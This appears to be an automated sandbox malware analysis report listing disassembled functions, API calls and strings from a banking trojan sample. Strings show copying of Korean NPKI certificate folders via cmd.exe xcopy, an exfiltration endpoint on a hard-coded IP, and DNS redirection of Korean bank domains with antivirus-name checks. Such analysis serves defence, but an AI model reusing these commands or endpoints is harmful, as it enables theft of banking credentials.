Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction ID: bb5fe5f59efd3e526b113e407ce870d9a6257fa786e4d84f1a1b66b5d905c888
Opcode Fuzzy Hash: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction Fuzzy Hash: 6B215B7161434DBFE721AF24CC80FABBFADFB44394F40052AB59852060C7716C28CBA1

Function 004014F5 Relevance: 13.6, APIs: 9, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 00401527
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401536
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401545
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00401565
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401571
SendMessageA.USER32(?,000000B6,00000000,?), ref: 00401583
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040159F
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004015AB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004015BD

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction ID: d9274a69ea71e40b52450c2f1abff6bb4cc12b44bfabd653b35ee0167fd8c358
Opcode Fuzzy Hash: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction Fuzzy Hash: 5A213B7161435DBFEB11AF25CC80FABBFADFB44384F40052AB59852160D7716D289BA1

Function 00401349 Relevance: 13.6, APIs: 9, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 0040137B
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040138A
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401399
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013B5
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013C1
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004013D3
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013EF
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013FB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 0040140D

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction ID: 56a25f80e609cbd08b066c68ee1e37c059073ee632eaa49d0b548e2ccd918b9e
Opcode Fuzzy Hash: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction Fuzzy Hash: 49215CB160535DBFEB21AF258C80FABFFADFB44394F00052AB59852060C7716D28DBA1

Function 00401000 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401005
#324.MFC42(00000082,?), ref: 0040101B
#567.MFC42(00000082,?), ref: 00401029
#567.MFC42(00000082,?), ref: 00401041
#567.MFC42(00000082,?), ref: 00401054
CreateSolidBrush.GDI32(00FFFFFF), ref: 00401066

Strings

D@, xrefs: 0040102E

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #567$#324BrushCreateH_prologSolid
String ID: D@
API String ID: 1271399592-116940557
Opcode ID: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction ID: 13884b46de095b52d8f8717c358092e8eec3470aa280cab25804e1b70b61f98b
Opcode Fuzzy Hash: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction Fuzzy Hash: 9D01FCB16003549BDB209F69C58978EBBE0FF81348F00443EE9926B2C2C7B85A08D765

Function 00402226 Relevance: 10.5, APIs: 7, Instructions: 46windowCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402237
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402252
#3286.MFC42(-00000001,?,?,?,?,?,00402216), ref: 00402261
#825.MFC42(?,-00000001,?,?,?,?,?,00402216), ref: 0040226F
#825.MFC42(00000000,?,-00000001,?,?,?,?,?,00402216), ref: 00402275
SendMessageA.USER32(?,00001008,-00000001,00000000), ref: 0040228A
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402294

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #825CriticalMessageSectionSend$#3286EnterLeave
String ID:
API String ID: 2141797828-0
Opcode ID: 345f4108f9338b5cd1efb657daf810a46913b3e0c3edca353be0c7de5a5d4693
Instruction ID: b9e60a6790c5ed3c642633d5835f906307b00da717bc424c3a2b37c864f405ef
Opcode Fuzzy Hash: 345f4108f9338b5cd1efb657daf810a46913b3e0c3edca353be0c7de5a5d4693
Instruction Fuzzy Hash: 64F0F472205215BFE2156B61EE09F8BBB58FF84321F10013BF709B20E19BF4680096A8

Function 00401E2A Relevance: 10.5, APIs: 7, Instructions: 42windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401E2F
#324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
#1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
#1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
LoadIconA.USER32(00000000,00000080), ref: 00401EA5

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #567$#1146#1168#324H_prologIconLoad
String ID:
API String ID: 2995884226-0
Opcode ID: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction ID: 6195de06ed0686a01f6ea18af6a3778e2a15774cd3760b5cb09f72b4f9ec5dc5
Opcode Fuzzy Hash: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction Fuzzy Hash: EF01C0B1A00384AAD711EB65C50979FBBA4FF91308F00887EE586732C1C7F81604D7A9

Function 0040174F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00401768
srand.MSVCRT ref: 0040176F
rand.MSVCRT ref: 0040177C
rand.MSVCRT ref: 00401794

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 0040175B

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction ID: 0f0927eb61d3c32e8c18992b3a3ed773e98e9a1b9926048b9e47f112dc32a9e4
Opcode Fuzzy Hash: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction Fuzzy Hash: 1FF04C33B0030457C7107F6A6984D9BBB999BC9720F01403EFE046B281C6B5940286B4

Function 00401D6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401D74
#324.MFC42(00000064,00000000), ref: 00401D85
#540.MFC42(00000064,00000000), ref: 00401D93
#860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

Strings

RedTom21@HotMail.com, xrefs: 00401D98

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #324#540#860H_prolog
String ID: RedTom21@HotMail.com
API String ID: 1715175771-4020391281
Opcode ID: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction ID: 78d62cf22874564550b960a1e2f1980c8c55d506c68ef3259133a31bc2e11175
Opcode Fuzzy Hash: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction Fuzzy Hash: 9FE06571B403509BD714AB99C50A79EB6A9EF91714F10447FA902773C1C7FC6E009699

Function 004017B2 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED
memset.MSVCRT ref: 00401814
ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 0040182C
memcpy.MSVCRT(?,?,?), ref: 00401847
CloseHandle.KERNEL32(?), ref: 00401859

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: File$CloseCreateHandleReadmemcpymemset
String ID:
API String ID: 3052882905-0
Opcode ID: 44267068a63abdb27b6f021e64f533e27db4bc8761671b15b42d38a0f2456496
Instruction ID: e342418d90b68a1d807531b6c152f1c53a72d441e6209e681be522bd43cf2dcc
Opcode Fuzzy Hash: 44267068a63abdb27b6f021e64f533e27db4bc8761671b15b42d38a0f2456496
Instruction Fuzzy Hash: 8111BEB2900148BFDB119F98CC81BDA37ADEB08355F108076F709F6190D2B0AF848B68

Function 004024DF Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004024F1
_ftol.MSVCRT ref: 00402517
_ftol.MSVCRT ref: 00402525
#4299.MFC42(0000000F,00000041,?,?,00000001), ref: 00402549
#4299.MFC42(0000000F,?,?,000000F1,00000001), ref: 0040256B

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #4299_ftol$ClientRect
String ID:
API String ID: 3171108694-0
Opcode ID: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction ID: 3880c801f612beb6246e745b78d7e2d3a19b48e5053d162d2e00decfba834721
Opcode Fuzzy Hash: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction Fuzzy Hash: C51151B1A00209BFDB10DBA9DE59BAEB778FF40744F10027AF501B61E5D7B49D40DA28

Function 004020DA Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004020DF
#2379.MFC42 ref: 00402125

Part of subcall function 00401D6F: _EH_prolog.MSVCRT ref: 00401D74
Part of subcall function 00401D6F: #324.MFC42(00000064,00000000), ref: 00401D85
Part of subcall function 00401D6F: #540.MFC42(00000064,00000000), ref: 00401D93
Part of subcall function 00401D6F: #860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

#2514.MFC42 ref: 00402103
#800.MFC42 ref: 00402112
#641.MFC42 ref: 0040211E

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: H_prolog$#2379#2514#324#540#641#800#860
String ID:
API String ID: 1337987987-0
Opcode ID: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction ID: 0c37060d93abf7ffef3ab529cf96d0046ab1b8bea522c7ef1cdfd7726eb284c9
Opcode Fuzzy Hash: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction Fuzzy Hash: 09F0FE71810518DADB25EFA5C65A7ACB730BF20314F60417FA412761D2DBBC5A09CA59

Function 004010A8 Relevance: 7.5, APIs: 5, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004010AD
#656.MFC42(?,?,00401094), ref: 004010C6
#656.MFC42(?,?,00401094), ref: 004010D5
#656.MFC42(?,?,00401094), ref: 004010E1
#641.MFC42(?,?,00401094), ref: 004010EC

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #656$#641H_prolog
String ID:
API String ID: 2321568657-0
Opcode ID: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction ID: e680012da702e7b92035de08c4d7561f67a84a50463a6348afc1be6ddfe969e7
Opcode Fuzzy Hash: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction Fuzzy Hash: 5DF03071915654DADB2CEBA5CA197DDBBA4BF04318F00456FE066732C2CBF81B08C755

Function 004015CD Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

#2379.MFC42 ref: 004015D2
#4299.MFC42(00000000,00000000,00000028,?,00000001), ref: 00401602
#4299.MFC42(00000032,00000000,0000012C,?,00000001), ref: 00401624
#4299.MFC42(00000168,00000000,00000000,?,00000001), ref: 00401645

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #4299$#2379
String ID:
API String ID: 453929936-0
Opcode ID: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction ID: 396461380f4f282afe083d313e8dd4ae14482c7760a999395c5db5fab6d4a27c
Opcode Fuzzy Hash: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction Fuzzy Hash: AF01B131240700ABD5318A59CC81FABB3AAAFC4B05F280E2FF183391D1D7BB8841C619

Function 00401CEC Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401CF1
#693.MFC42(?,?,00401CDE), ref: 00401D19
#609.MFC42(?,?,00401CDE), ref: 00401D25
#641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #609#641#693H_prolog
String ID:
API String ID: 432028610-0
Opcode ID: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction ID: c1b141184ca5cae31352d23a373f4eac66a41ce64f7327093406d0e5d71bec99
Opcode Fuzzy Hash: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction Fuzzy Hash: F3F0A070920664DACB18FBA4C6193DDBBB8AF14308F00466FA062732C2CBF81B04C795

Analysis Process: rundll32.exePID: 4124, Parent PID: 2060COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	4.4%
Signature Coverage:	3.2%
Total number of Nodes:	948
Total number of Limit Nodes:	27

Executed Functions

Function 1000B0A0 Relevance: 79.1, APIs: 33, Strings: 12, Instructions: 387
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 1000B0D9
lstrcat.KERNEL32(?,10019BE4), ref: 1000B0F2
lstrcat.KERNEL32(?,*.*), ref: 1000B101
FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113
FindNextFileA.KERNEL32(00000000,?,?,1000B62C,?), ref: 1000B139
lstrcpy.KERNEL32(?,?), ref: 1000B194
lstrcat.KERNEL32(?,10019BE4), ref: 1000B1A7
lstrcat.KERNEL32(?,0000002E), ref: 1000B1B9
_strcmpi.MSVCRT ref: 1000B1C8
GetTickCount.KERNEL32 ref: 1000B252
srand.MSVCRT ref: 1000B259
rand.MSVCRT ref: 1000B264
rand.MSVCRT ref: 1000B280
rand.MSVCRT ref: 1000B28E
rand.MSVCRT ref: 1000B29C

Strings

09161305.txt, xrefs: 1000B1EC, 1000B513
%s\%s, xrefs: 1000B204, 1000B520
*.*, xrefs: 1000B0FB
cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit, xrefs: 1000B32A
107.163.241.204:12354/show.php, xrefs: 1000B437
cmd.exe /c rd /q /s "c:\%s", xrefs: 1000B54F
., xrefs: 1000B14E
c:\%c%c%c%c.%c%c%c, xrefs: 1000B2EF
P, xrefs: 1000B412
c:\%s, xrefs: 1000B392
NPKI, xrefs: 1000B1C3
/u.php, xrefs: 1000B4E0

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcatrand$FileFindlstrcpy$CountFirstNextTick_strcmpisrand
String ID: %s\%s$*.*$.$/u.php$09161305.txt$107.163.241.204:12354/show.php$NPKI$P$c:\%c%c%c%c.%c%c%c$c:\%s$cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit$cmd.exe /c rd /q /s "c:\%s"
API String ID: 3781771675-4019994392
Opcode ID: 2284cdc7a81e1ca56d47e462f78087d377d0c49b06d915c65bae469ad145cbd7
Instruction ID: a4cd3bd12e50bbdbb4defcecebe161b9358dfbd0595dc6434b30c1e57eafc0f0
Opcode Fuzzy Hash: 2284cdc7a81e1ca56d47e462f78087d377d0c49b06d915c65bae469ad145cbd7
Instruction Fuzzy Hash: 9ED1A6B1508386AFE725CB64CD91BEB77DAEBC8344F004D2DE68697241DB74E6088753

Function 100055E0 Relevance: 56.3, APIs: 23, Strings: 9, Instructions: 263
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10005652
socket.WS2_32(00000002,00000002,00000000), ref: 10005664
socket.WS2_32(00000002,00000002,00000000), ref: 10005670
htons.WS2_32(00000035), ref: 10005687
inet_addr.WS2_32(127.0.0.1), ref: 10005699
htons.WS2_32(00000035), ref: 100056A1
inet_addr.WS2_32(?), ref: 100056A8
bind.WS2_32(00000000,?,00000010), ref: 100056B2
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 100056CB
select.WS2_32 ref: 1000570C
Sleep.KERNEL32(000003E8), ref: 10005721
wsprintfA.USER32 ref: 100057C2
malloc.MSVCRT ref: 1000582A
htons.WS2_32(00008180), ref: 10005861
htons.WS2_32(00008182), ref: 10005878
htons.WS2_32(00000001), ref: 10005884
htons.WS2_32(0000C00C), ref: 100058AA
htons.WS2_32(00000001), ref: 100058B3
htons.WS2_32(00000001), ref: 100058BC
htons.WS2_32(00000004), ref: 100058D1
inet_addr.WS2_32(127.0.0.1), ref: 100058EC
closesocket.WS2_32(?), ref: 10005964
closesocket.WS2_32(00000000), ref: 10005967

Strings

8.8.8.8, xrefs: 1000562D
www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 100057D9
c:\3.txt, xrefs: 1000594C
v3lite, xrefs: 10005814
%s|, xrefs: 100057BB
127.0.0.1, xrefs: 1000568F, 100058E7
ahnlab, xrefs: 10005804
alyac, xrefs: 100057F4
iRecv=0, xrefs: 10005947

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: htons$inet_addr$closesocketsocket$SleepStartupbindioctlsocketmallocselectwsprintf
String ID: %s|$127.0.0.1$8.8.8.8$ahnlab$alyac$c:\3.txt$iRecv=0$v3lite$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 1328051524-4015207955
Opcode ID: d30cd6855118c4ed05db812acc6ca3ede84177798b14eb5f2c727256319347d2
Instruction ID: 59d3b204b2808b52f16618dbfe599499a9605bca090f4b5bd4268c99c502d16b
Opcode Fuzzy Hash: d30cd6855118c4ed05db812acc6ca3ede84177798b14eb5f2c727256319347d2
Instruction Fuzzy Hash: 3DA19D31608344ABE710DB64CC85BAFBBE9EFC8744F00491DF68597290DBB5EA48CB56

Function 100051B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 100051CA
GetProcAddress.KERNEL32(00000000,GetExtendedUdpTable), ref: 100051DA
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000), ref: 100051F1
malloc.MSVCRT ref: 1000520A
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000,?,?,1000BBB2,00000035), ref: 10005230

Strings

iphlpapi.dll, xrefs: 100051B5
GetExtendedUdpTable, xrefs: 100051D0

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExtendedTable$AddressLibraryLoadProcmalloc
String ID: GetExtendedUdpTable$iphlpapi.dll
API String ID: 2385667234-1809394930
Opcode ID: 9cda4d2d937ca9ea04656a738db3750c05e85a8b7bb6ff9873d4febcff501f4c
Instruction ID: 96f58e0131db4c2794c4102475dfcdcfa91b6622e08c4e565781b4b339fe8ff8
